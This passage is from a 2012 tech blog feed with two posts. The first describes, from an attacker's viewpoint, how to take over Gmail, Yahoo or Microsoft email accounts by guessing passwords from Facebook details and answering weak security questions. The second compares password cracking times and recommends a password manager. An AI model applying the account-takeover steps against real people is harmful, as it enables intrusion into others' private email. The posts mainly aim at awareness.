As I was talking about passwords and security of emails, I thought about writing a post about breaking in to an email account.&lt;br /&gt;
&lt;br /&gt;
It&#39;s harder to do it than said or sometime impossible, but I spent my weekend randomly checking email addresses, from my contact list, from my Facebook friends, and from random email addresses that I found on the internet. And I was surprised with some of the things I found.&lt;br /&gt;
&lt;br /&gt;
I didn&#39;t hack into any email addresses, but if I could get up to the password reset page, or guess the password it&#39;s a win, and if I can do that bad guys will definitely can do that.&lt;br /&gt;
So I&#39;m going to write step by step things I would to if I want to break into your email.&lt;br /&gt;
&lt;br /&gt;
When you say email there so many email providers, but here I&#39;m mainly talking about Gmail, Yahoo and Microsoft email services. But some of these methods can be used on other email service providers as well.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
It&#39;s a password thing.&lt;/h4&gt;
Now, I have your email address that I need to break into, the first thing I would try to do is guess your password, because it&#39;s the most easiest thing to do. Not to mention most people are too lazy of picking good passwords. &lt;br /&gt;
&lt;br /&gt;
The password might be associated with his personal life, what he do for living or if the email address belongs to an organization then what the organization do.&lt;br /&gt;
&lt;br /&gt;
If you don&#39;t know about the person who owns the email address, the best thing is to search the email address on Facebook, if the email address is used to register an email address then you can find information regarding the person.&lt;br /&gt;
&lt;br /&gt;
The most likely combinations I&#39;ve came across are,&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;[person&#39;s name]1234 or set of numbers in an order. &lt;/li&gt;
&lt;li&gt;Their mobile numbers.&lt;/li&gt;
&lt;li&gt;Person who is in relationship with.&lt;/li&gt;
&lt;li&gt;Something regarding work or a day to day activity.&lt;/li&gt;
&lt;/ul&gt;
All these information can be found on most of the Facebook profiles and if I&#39;m lucky in guessing I will hack your email account. Also I&#39;ll try the names of your favourite celebrities, your favourite book, movie etc. &lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Time for a plan B.&lt;/h4&gt;
Now I&#39;ve tried all the combinations and all everything I can guess and still can&#39;t break in to your account. You might be using a good password, or you might be using a bad password that&#39;s something totally not related to you or just I can&#39;t guess it.&lt;br /&gt;
&lt;br /&gt;
Either way I can&#39;t break in to your email that way, so I have to try a harder way. So my plan B would be resetting your password. &lt;br /&gt;
&lt;br /&gt;
No matter how good your password is there is always a weak area that people don&#39;t think that seriously, &lt;b&gt;it&#39;s the security question.&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When it comes to Gmail most of the time people don&#39;t use the security question. Gmail users most of the time use getting a reset link to an alternative email account, or sending a verification code to the mobile phone.&lt;br /&gt;
&lt;br /&gt;
However when it comes to Yahoo and Live mail there is much better chance of the person using a security question. However there is one plus point for a hacker is that Gmail has a single security question, while Yahoo has 2 security questions. Therefore if you can get through the first security question you almost got that email account, and in Yahoo it&#39;s hard because you have to answer 2.&lt;br /&gt;
&lt;br /&gt;
If you think people use weak passwords, you have to see the security questions they use, for some reason people use very easy security questions, it might be because people don&#39;t think they are vulnerable if they provide a weak security question.&lt;br /&gt;
&lt;br /&gt;
I checked some of the security questions from the people in my email contact list, here is one of them.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ95rHCKqmdhf_ZPDmCpFd77P1exSmARF9h6bcLWXOvpkxylJpg4wtSO5C9_7PenqMGhhic-9nWH9BRZr4NZlJf8iuuWk75hlnag6dxWn_N3dCCslPBXrju8q1rODGXBiwAd2C8TNUfGk/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ95rHCKqmdhf_ZPDmCpFd77P1exSmARF9h6bcLWXOvpkxylJpg4wtSO5C9_7PenqMGhhic-9nWH9BRZr4NZlJf8iuuWk75hlnag6dxWn_N3dCCslPBXrju8q1rODGXBiwAd2C8TNUfGk/s1600/Screenshot.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;where is my home?&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
As you can see this question is very much easy to crack, some of the questions that I came across were,&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;What&#39;s my name.&lt;/li&gt;
&lt;li&gt;Date of birth.&lt;/li&gt;
&lt;li&gt;What&#39;s my first telephone number.&lt;/li&gt;
&lt;li&gt;What&#39;s my middle name.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Place where you spent the honeymoon.&lt;/li&gt;
&lt;/ul&gt;
All of these questions are pretty much easy to find, so I will search the email address on Facebook and most likely there is a chance the person having a Facebook account and I can easily get the answer to the security question from there.&lt;br /&gt;
&lt;br /&gt;
When it comes to the what&#39;s your first telephone number security question, I&#39;ve seen that there is a higher chance the answer to this question being the current mobile number that this person is using. Because it&#39;s easier for the person to remember.&lt;br /&gt;
&lt;br /&gt;
If the security question is not an easy one to find I can social engineer you until you give me the answer to the security question. This is tough and takes time but if I&#39;m good at it I&#39;ll have the answer to the security question and I&#39;ll be resetting your email password and in your email in no time. And no matter how good your password is, I will get you from the security question.&lt;br /&gt;
&lt;br /&gt;
Just check your email contacts for their security questions and you will be surprised how easy for someone to find an answer. Like I said before these security questions are common in Yahoo, but there are 2 questions, so finding the answers are difficult, Google has only one security question but most people don&#39;t use that password recovery option.&lt;br /&gt;
&lt;br /&gt;
How am I going to hack your email if you are not using a security question? And how can you protect your email addresses from being hacked? I&#39;ll write it in my next post, this post is getting too long.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1207009174590068151/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/how-i-will-hack-your-email.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1207009174590068151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1207009174590068151'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/how-i-will-hack-your-email.html' title='How I Will Hack Your Email.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s72-c/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-3467525077546015690</id><published>2012-08-03T21:51:00.000+05:30</published><updated>2012-08-03T21:51:07.143+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="Passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>What Password Is A Good Password?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBxYslPCe0J3iD7J1Ty3uSL98p5QPnPgKW7UaIjUCI7NiWCxgs7_eSmM4LF9hkedPk171j83UoBHtWOmYDKl-idAkQsKS3EBBXI044hou28gBrfmiugC68cNZ9tBXYYbZJG3kCh2j1T4U/s1600/AzXCVYdCIAAfewG.png:large.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBxYslPCe0J3iD7J1Ty3uSL98p5QPnPgKW7UaIjUCI7NiWCxgs7_eSmM4LF9hkedPk171j83UoBHtWOmYDKl-idAkQsKS3EBBXI044hou28gBrfmiugC68cNZ9tBXYYbZJG3kCh2j1T4U/s320/AzXCVYdCIAAfewG.png:large.png&quot; width=&quot;275&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
There is lot of talk about password these days. Microsoft has renewed hotmail and they are giving @outlook.com mail addresses.&lt;br /&gt;
&lt;br /&gt;
Soon after people started registering outlook.com email addressed &lt;a href=&quot;http://nakedsecurity.sophos.com/2012/08/02/maximum-password-length-outlook-yahoo-gmail-compared/#idc-container&quot; target=&quot;_blank&quot;&gt;NakedSecurity posted &lt;/a&gt;that the maximum length for password at outlook is only 16 characters. &lt;br /&gt;
&lt;br /&gt;
And today I came across this tweet (click to see the large image) that shows Microsoft has limited the password length for 16 characters for older Hotmail users. Therefore current users who are using a password longer than 16 chars have to use the first 16 chars as their password for Hotmail.&lt;br /&gt;
&lt;br /&gt;
According to the post by &lt;a href=&quot;http://nakedsecurity.sophos.com/2012/08/02/maximum-password-length-outlook-yahoo-gmail-compared/#idc-container&quot; target=&quot;_blank&quot;&gt;NakedSecurity&lt;/a&gt; Yahoo has a limit of 32 chars for a password and Google has a value of 200 maximum chars for a password. &lt;br /&gt;
&lt;br /&gt;
So is 16 enough for a good password? Let&#39;s talk.&lt;br /&gt;
&lt;br /&gt;
First thing to clear out is that most people believe the longer the password the harder it is for a hacker to crack the password. This is not 100% correct. The length of the password is not proportionate to the time it takes to crack the password. Same length passwords has different cracking times in a surpricingly wider range. &lt;br /&gt;
&lt;br /&gt;
For example it&#39;s easier to crack a password like &lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;crackede&lt;/span&gt;&lt;/b&gt; than &lt;b&gt;&lt;span style=&quot;color: #660000;&quot;&gt;cr4ck3d3&lt;/span&gt;&lt;/b&gt; (same number of chars but numbers in between). And it&#39;s easier to crack the password &lt;b style=&quot;color: #274e13;&quot;&gt;cr4ck3d3&lt;/b&gt; than &lt;b&gt;&lt;span style=&quot;color: #660000;&quot;&gt;Cr4cK3d3&lt;/span&gt;&lt;/b&gt; (same number of chars but including capital letters)&lt;br /&gt;
&lt;br /&gt;
If you look at the time it takes to crack these passwords from a brute force attack, the times are like this.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilWU1aQ6jEGz1GXPaiSkNldD9kXJ4qLR49YorQ6mwq5szLEKgKbXBNFL9oOXIkOs_qs2wQwwlRWS_-47uZryMLFnu9T2ED6sSgoKKvs9ND8tpXkjQfFpNEy9VzvB7BevUc4de49RmD9Yc/s1600/Screenshot-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilWU1aQ6jEGz1GXPaiSkNldD9kXJ4qLR49YorQ6mwq5szLEKgKbXBNFL9oOXIkOs_qs2wQwwlRWS_-47uZryMLFnu9T2ED6sSgoKKvs9ND8tpXkjQfFpNEy9VzvB7BevUc4de49RmD9Yc/s400/Screenshot-2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;crackede&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioYz9SVwIE31sPh0nk4RZpB2Zu2-Uc_aERSVniKS813PA7hWi_E0XC-wSAumTEWzudVr-Twrfn3OWEnVol2ng9tDFkh421Fb7YUTch89ch7RvXTXnvJZjjc7Nn0dL1GAYzfXfo-rvi9xE/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioYz9SVwIE31sPh0nk4RZpB2Zu2-Uc_aERSVniKS813PA7hWi_E0XC-wSAumTEWzudVr-Twrfn3OWEnVol2ng9tDFkh421Fb7YUTch89ch7RvXTXnvJZjjc7Nn0dL1GAYzfXfo-rvi9xE/s400/Screenshot.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;color: #bf9000;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;cr4ck3d3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgXmzCIZiZVLTCPdgz13N7I4P0-3bNg6_xjvbsTVdjK7Mk3LxfRSFcgb1i91luIY3jcLi2fAQ3DUYJdNRe9ySCKQpucEzOjUsbj3zQBj7vjyBdN4-FBj01wfkID1yNNHCfqPdX3VUIiRg/s1600/Screenshot-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;115&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgXmzCIZiZVLTCPdgz13N7I4P0-3bNg6_xjvbsTVdjK7Mk3LxfRSFcgb1i91luIY3jcLi2fAQ3DUYJdNRe9ySCKQpucEzOjUsbj3zQBj7vjyBdN4-FBj01wfkID1yNNHCfqPdX3VUIiRg/s400/Screenshot-1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;color: #660000;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Cr4cK3d3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
And one might think a password like 14906932 (same number of characters as password) is better than a password like &lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;cracked&lt;/span&gt;&lt;/b&gt; but if you look at the time it takes to crack 14906932 is surprisingly lower than the time it takes to crack a password like &lt;b style=&quot;color: #274e13;&quot;&gt;cracked&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib08AS2oreLLmQ23nkLt8kphGgxLW71_R061C6p9iwzegVRU52GBUTs5cfdfV8IJFlBcFgmGmy3YQFkk4_-CzaD0l1v6XxszLFEWGtzvFXX3NfLgBo6ZF2agfX9hFpvISMSmFu2iMEJXI/s1600/Screenshot-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib08AS2oreLLmQ23nkLt8kphGgxLW71_R061C6p9iwzegVRU52GBUTs5cfdfV8IJFlBcFgmGmy3YQFkk4_-CzaD0l1v6XxszLFEWGtzvFXX3NfLgBo6ZF2agfX9hFpvISMSmFu2iMEJXI/s400/Screenshot-3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;14906932&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Although the 3 passwords the have the same number of characters the time to crack the password using a brute force method changed dramatically.&lt;br /&gt;
&lt;br /&gt;
So what about passwords with different number of characters?&lt;br /&gt;
&lt;br /&gt;
Most people think when you increase the number of numbers and symbols of a password the difficulty to crack the password increases. This too is not 100% true. Let&#39;s take an example.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s take &lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;Cr4cK3d$ &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;and &lt;b style=&quot;color: #274e13;&quot;&gt;iwannacrackyou&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; as two passwords but different characters. If you look at &lt;b style=&quot;color: #274e13;&quot;&gt;Cr4cK3d$&lt;/b&gt; it contains what it takes for a good password. Numbers uppercase and lower case letters and symbols. On the other hand &lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;iwannacrackyou&lt;/span&gt;&lt;/b&gt; contains only lowercase letters.&lt;br /&gt;
&lt;br /&gt;
And if you enter the two passwords on to Facebook, Gmail or any other service they will tell you that &lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;Cr4cK3d$ &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;is&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt; a strong password and &lt;b style=&quot;color: #274e13;&quot;&gt;iwannacrackyou&lt;/b&gt; is a weak password. But if you look at the time it takes to crack the two passwords in a brute force attack the stats look like this.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyrnvQoePWlJXH7oeRi2NHLGhmepmoDvWp12PKn2IdYK1XXJr29nyipG7xMswuZMVXsXRT2BFRvtC8X6s-uN9J_XPLZUiDnW1goH5VNGQJuWDHEwG2ClblgC73CFLcWsfJ8X4yv9H551A/s1600/Screenshot-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyrnvQoePWlJXH7oeRi2NHLGhmepmoDvWp12PKn2IdYK1XXJr29nyipG7xMswuZMVXsXRT2BFRvtC8X6s-uN9J_XPLZUiDnW1goH5VNGQJuWDHEwG2ClblgC73CFLcWsfJ8X4yv9H551A/s400/Screenshot-4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Cr4cK3d$&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6T6l10X4jpEyBvqm_UGHLwOh8VjuqHrv4EA8tAZyJsgcCpDxMVWGVjMdbRcc3XOOnpqdBmCSxfykqpkdVv9LVnh5Afrpv1DVhVa6npEDEnu_iIPO_PuGO6nt4AOORHS6VHvYFh6c_JD4/s1600/Screenshot-5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6T6l10X4jpEyBvqm_UGHLwOh8VjuqHrv4EA8tAZyJsgcCpDxMVWGVjMdbRcc3XOOnpqdBmCSxfykqpkdVv9LVnh5Afrpv1DVhVa6npEDEnu_iIPO_PuGO6nt4AOORHS6VHvYFh6c_JD4/s400/Screenshot-5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;iwannacrackyou&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;The reason for this is &lt;b style=&quot;color: #274e13;&quot;&gt;iwannacrackyou&lt;/b&gt; contains more characters than &lt;b style=&quot;color: #274e13;&quot;&gt;Cr4cK3d3$&lt;/b&gt; and therefore even &lt;b style=&quot;color: #274e13;&quot;&gt;iwannacrackyou&lt;/b&gt; appears weak, it&#39;ll take more time to crack in a brute force attack because it has more characters.&lt;br /&gt;
&lt;br /&gt;
But things change when it comes to dictionary attacks, it&#39;ll be easier to crack passwords like &lt;b style=&quot;color: #274e13;&quot;&gt;password, cracked&lt;/b&gt;, within few seconds.&lt;br /&gt;
&lt;br /&gt;
So can we generate a good 16 character password? Personally I think you can generate a good password using 16 characters. But it should contain upper case, lower case letters, numbers an symbols. It should not be a sentence or combination of words because they can b cracked using dictionary attacks.&lt;br /&gt;
&lt;br /&gt;
These passwords are harder to remember or nearly impossible. The trick is use a password manager like &lt;a href=&quot;http://lastpass.com/&quot; target=&quot;_blank&quot;&gt;LastPass.&lt;/a&gt; So you don&#39;t have to each and every password. Here are some randomly generated passwords with 16 chars and the time it would take to crack using a brute force attack.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5vDj1n_hsToH2nHWfAr79K9pEslTaY6Us9pAiIktG939_m98JUOj3WWwHIG4kfUt7xQ0P4Zo8F4V7siEsBZ8RjIMuQ-aWRNIxFDBkFdUChbaLr_1KZMvJhNPr0Jp-E24VWKUUOfU3I_I/s1600/Screenshot-6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;115&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5vDj1n_hsToH2nHWfAr79K9pEslTaY6Us9pAiIktG939_m98JUOj3WWwHIG4kfUt7xQ0P4Zo8F4V7siEsBZ8RjIMuQ-aWRNIxFDBkFdUChbaLr_1KZMvJhNPr0Jp-E24VWKUUOfU3I_I/s400/Screenshot-6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;*7m-3h5q?crugaz7&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tKcENWcfyNwkKYqWuaYoDyCni69htgj3_NBiLnpdCMBxoSqsfQ8weyKzEHHoljrU1iyfMBHWUSHlYOE-qwcRl9qsde2s5-ms8NlYWxW_lE71YmjitL1qhkJiSvwrhpC8sHq8Ale9W58/s1600/Screenshot-7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;111&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tKcENWcfyNwkKYqWuaYoDyCni69htgj3_NBiLnpdCMBxoSqsfQ8weyKzEHHoljrU1iyfMBHWUSHlYOE-qwcRl9qsde2s5-ms8NlYWxW_lE71YmjitL1qhkJiSvwrhpC8sHq8Ale9W58/s400/Screenshot-7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;b*=Ru&amp;amp;eSegAgApe8&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Therefore if you use a password like this with numbers, symbols, upper and lower case character, it&#39;s pretty much impossible for a brute force attack and a dictionary attack to crack these passwords and 16 characters is pretty much enough for a regular user to keep their accounts getting hacked. &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.lockdown.co.uk/?pg=combi&quot; target=&quot;_blank&quot;&gt;Password Recovery Speeds : How long will your password stand up &lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://nakedsecurity.sophos.com/2012/05/25/how-long-would-it-take-to-crack-your-password/&quot; target=&quot;_blank&quot;&gt;How long would it take to crack your password?&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://en.wikipedia.org/wiki/Password_cracking#Time_needed_for_password_searches&quot;&gt;http://en.wikipedia.org/wiki/Password_cracking#Time_needed_for_password_searches&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.grc.com/haystack.htm&quot;&gt;https://www.grc.com/haystack.htm&lt;/a&gt;&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/3467525077546015690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/what-password-is-a-good-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3467525077546015690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/3467525077546015690'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/what-password-is-a-good-password.html' title='What Password Is A Good Password?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBxYslPCe0J3iD7J1Ty3uSL98p5QPnPgKW7UaIjUCI7NiWCxgs7_eSmM4LF9hkedPk171j83UoBHtWOmYDKl-idAkQsKS3EBBXI044hou28gBrfmiugC68cNZ9tBXYYbZJG3kCh2j1T4U/s72-c/AzXCVYdCIAAfewG.png:large.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-7384899306849130508</id><published>2012-07-31T22:45:00.002+05:30</published><updated>2012-07-31T22:47:29.981+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Social Media"/><category 